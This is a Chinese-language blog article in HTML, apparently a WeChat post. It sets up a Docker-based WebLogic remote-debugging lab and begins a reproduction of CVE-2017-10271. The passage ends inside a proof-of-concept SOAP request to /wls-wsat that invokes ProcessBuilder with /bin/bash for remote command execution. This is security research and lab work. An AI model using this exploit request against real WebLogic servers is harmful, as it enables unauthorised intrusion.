border-box;margin: 4em auto 2em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">Weblogic Docker调试环境搭建</h2><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><strong style="box-sizing: border-box;color: rgb(255, 95, 46);line-height: 1.75;">这里的docker我是使用的kali中的</strong></p><p style="text-align: center;"><img class="rich_pages" data-backh="353" data-backw="578" data-galleryid="" data-ratio="0.609935602575897" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1087" src="https://wechat2rss.xlab.app/img-proxy/?k=4ff79e52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicF0OcqlNF0MTe5yqUiamyq1vW7icKsA3KicZ3TazKnZicbV1PkqpqIXicDeg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><span style="box-sizing: border-box;margin-right: 10px;color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-align: left;text-indent: -15px;"></span><span style="margin-right: 10px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;text-indent: -14px;box-sizing: border-box;">•</span><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;text-indent: -14px;">docker的8453开启，位于</span><strong style="font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;text-indent: -14px;white-space: normal;box-sizing: border-box;color: rgb(255, 95, 46);line-height: 1.75;">docker-compose.yml</strong><strong style="box-sizing: border-box;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-align: left;text-indent: -15px;white-space: normal;color: rgb(255, 95, 46);line-height: 1.75;"></strong></p><figure style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="161" data-backw="319" data-ratio="0.5051546391752577" title="null" data-type="png" data-w="291" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1aa29264&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicYyt8XCZTT1wR5Nez68EGXQVvV5N71HtATrpmWg6YmrmibgfODVzTvfQ%2F640%3Fwx_fmt%3Dpng"/></figure><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">version: &#39;2&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">services:</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">weblogic:</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">image: vulhub/weblogic</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">ports:</span></span></code><code><span class="code-snippet_outer">- <span class="code-snippet__string">&#34;7001:7001&#34;</span></span></code><code><span class="code-snippet_outer">- <span class="code-snippet__string">&#34;8453:8453&#34;</span></span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>下载运行镜像</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><img data-backh="366" data-backw="548" data-ratio="0.6685796269727403" style="width: 100%;height: auto;" data-type="png" data-w="697" src="https://wechat2rss.xlab.app/img-proxy/?k=961aa4d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEiceqUhc468wBEukHGmEYJUR3Oh1vsiaGXFM51QNibMavpEYPA0EafrNX9g%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;text-align: start;white-space: normal;"><br/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>修改<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh</code></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">添加代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">debugFlag=<span class="code-snippet__string">&#34;true&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">export</span> debugFlag</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="80" data-backw="376" data-ratio="0.2127659574468085" style="width: 100%;height: auto;" data-type="png" data-w="376" src="https://wechat2rss.xlab.app/img-proxy/?k=883926eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic5yLqrfP3d5P7jdSMSuhia4opCrbVsGADG3GYvib4iaBp8ndUTV7LiaGuAg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>重启docker</span></p><figure style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="101" data-backw="464" data-ratio="0.21767241379310345" style="width: 100%;height: auto;" data-type="png" data-w="464" src="https://wechat2rss.xlab.app/img-proxy/?k=3e6972ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic0oM2fj5mHqItZsnYHiabj6Q7IUBOhjTXIwaRA6RgeVnBT8GMAFibmm6g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>把 weblogic的源码和jdk包都拷贝出来</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">docker</span> cp 9bc5c6e5290c:/root ./test/</span></code></pre></section><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>拷贝到我的代码机器</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><img data-backh="191" data-backw="548" data-ratio="0.3477088948787062" style="width: 100%;height: auto;" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=27bc7627&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicnYicqsV0aqSX5gkk3ryaP58mSribq4QdUQQ74nhwst8fzJh9MWBZb8Bg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>idea打开root\Oracle\Middleware目录</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>把Middleware目录下所有的*.jar包都放在一个libjar的文件夹</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">find ./ -name *.jar -<span class="code-snippet__built_in">exec</span> cp {} ./libjar/ \;</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="349" data-backw="562" data-ratio="0.6213592233009708" style="width: 100%;height: auto;" data-type="png" data-w="824" src="https://wechat2rss.xlab.app/img-proxy/?k=68465d7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicbD9WW5YsXzTWTuE89It2fX5mjFUQldu81JQEMCEFDfVczRXzmzUdTw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>idea中的jdk设置为环境自带的1.6</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="244" data-backw="562" data-ratio="0.4332579185520362" style="width: 100%;height: auto;" data-type="png" data-w="884" src="https://wechat2rss.xlab.app/img-proxy/?k=7ded4276&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic4T3icR6alxNP45mXAjt2JVicEaTP47pZBHTjFoEN1ydRDTeybFwe2Ojg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>idea添加依赖库</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="279" data-backw="562" data-ratio="0.496790757381258" style="width: 100%;height: auto;" data-type="png" data-w="779" src="https://wechat2rss.xlab.app/img-proxy/?k=0c208957&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicEryMxay2sHIVuIIkRhia2FpSfAfyadVwibYsVVicogPFlobfEdTfl0TZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;"><img data-backh="75" data-backw="425" data-ratio="0.17647058823529413" style="width: 100%;height: auto;" data-type="png" data-w="425" src="https://wechat2rss.xlab.app/img-proxy/?k=5573baa7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicGfZEiaEdLjrxNf40SNno1lR4z0Z2bXuuhiackHYnribETmGtIRhc2PD4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>远程调试</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><img data-backh="463" data-backw="548" data-ratio="0.8435544430538173" style="width: 100%;height: auto;" data-type="png" data-w="799" src="https://wechat2rss.xlab.app/img-proxy/?k=240cb267&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEicoSniaqNSzhk52QfGQUPfcQRDsqw3z3UFJMOwsw0icjYqAKLVIgVbJZIA%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>开启debug</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><img data-backh="115" data-backw="548" data-ratio="0.20964360587002095" style="width: 100%;height: auto;" data-type="png" data-w="954" src="https://wechat2rss.xlab.app/img-proxy/?k=68aa037d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic0szQ59PAW18M72oArF8Mha5KhXv2lgjprRke5IhkFUIna1XtDVIMuQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>下断点</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><img data-backh="288" data-backw="547" data-ratio="0.5258126195028681" style="width: 100%;height: auto;" data-type="png" data-w="1569" src="https://wechat2rss.xlab.app/img-proxy/?k=5bcc815b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic4Sc1YFKopPZlPtNlYMvHGDm2gPnbUloEYMCTo4pEDLfjLDhgJSkTBg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>发包，出现这样的情况说明环境搭建成功</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><img data-backh="286" data-backw="548" data-ratio="0.5223325062034739" style="width: 100%;height: auto;" data-type="png" data-w="1612" src="https://wechat2rss.xlab.app/img-proxy/?k=2f7214ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqeuxCPcjqiasKib52l7TJAEic5PuFlKcLwkGoS8M3UKaXGHU03ia8NmH7Iic6whgETXKRjIgia9bIU3TVA%2F640%3Fwx_fmt%3Dpng"/></span></p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">CVE-2017-10271</h1><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>受影响版本：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="Java"><code style="white-space: pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(0, 134, 179);">WebLogic</span><span style="box-sizing: border-box;"> </span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">10.3</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">6.0</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">0</span></span></code><code style="white-space: pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(0, 134, 179);">WebLogic</span><span style="box-sizing: border-box;"> </span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">12.1</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">3.0</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">0</span></span></code><code style="white-space: pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(0, 134, 179);">WebLogic</span><span style="box-sizing: border-box;"> </span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">12.2</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">1.1</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">0</span></span></code><code style="white-space: pre-wrap;box-sizing: border-box;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;display: flex;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="code-snippet_outer" style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(0, 134, 179);">WebLogic</span><span style="box-sizing: border-box;"> </span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">12.2</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">1.2</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(0, 134, 179);">0</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.1em;">CVE-2017-3506与CVE-2017-10271均为XMLDecoder反序列化漏洞。CVE-2017-3506修补方案为禁用object标签。CVE-2017-10271是通过void、new标签对CVE-2017-3506补丁的绕过。</p><h3 style="box-sizing: border-box;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-bottom: 0.1em;padding-left: 8px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">漏洞复现</h3><p style="box-sizing: border-box;padding-left: 1em;font-size: 14px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>poc</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/wls-wsat/CoordinatorPortType11</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: xxx.xxx.xxx.xxx:7001</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: identity</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: */*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Charset</span>: GBK,utf-8;q=0.7,*;q=0.3</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: keep-alive</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: text/xml;charset=UTF-8</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 648</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;soapenv:Envelope xmlns:soapenv=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;</span>&gt; &lt;soapenv:Header&gt;</span></code><code><span class="code-snippet_outer">&lt;work:WorkContext xmlns:work=<span class="code-snippet__string">&#34;<a href="http://bea.com/2004/06/soap/workarea/" target="_blank">http://bea.com/2004/06/soap/workarea/</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;java version=<span class="code-snippet__string">&#34;1.4.0&#34;</span> <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;java.beans.XMLDecoder&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">void</span> <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;java.lang.ProcessBuilder&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;array <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;java.lang.String&#34;</span> length=<span class="code-snippet__string">&#34;3&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">void</span> index=<span class="code-snippet__string">&#34;0&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">string</span>&gt;/bin/bash&lt;/<span class="code-snippet__keyword">string</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;/<span class="code-snippet__keyword">void</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span class="code-snippet__keyword">void</span> index=<span class="code-snippet__string">&#34;1&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;<span 